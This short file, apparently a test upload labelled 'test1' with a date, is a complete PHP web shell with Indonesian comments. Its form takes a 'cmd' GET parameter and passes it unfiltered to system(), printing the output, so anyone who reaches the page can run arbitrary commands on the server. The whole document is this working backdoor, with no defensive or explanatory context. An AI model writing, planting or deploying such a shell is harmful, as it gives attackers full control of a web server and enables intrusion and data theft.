test1

15/04/2026
|

<html>

<body>

    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">

        <input type="text" name="cmd" autofocus size="80" placeholder="Masukkan perintah (ex: uname -a)">

        <input type="submit" value="Execute">

    </form>

    <pre>

<?php

    if(isset($_GET['cmd']))

    {

        // Mencoba menjalankan perintah menggunakan system()

        system($_GET['cmd'] . ' 2>&1');

    }

?>

    </pre>

</body>

</html>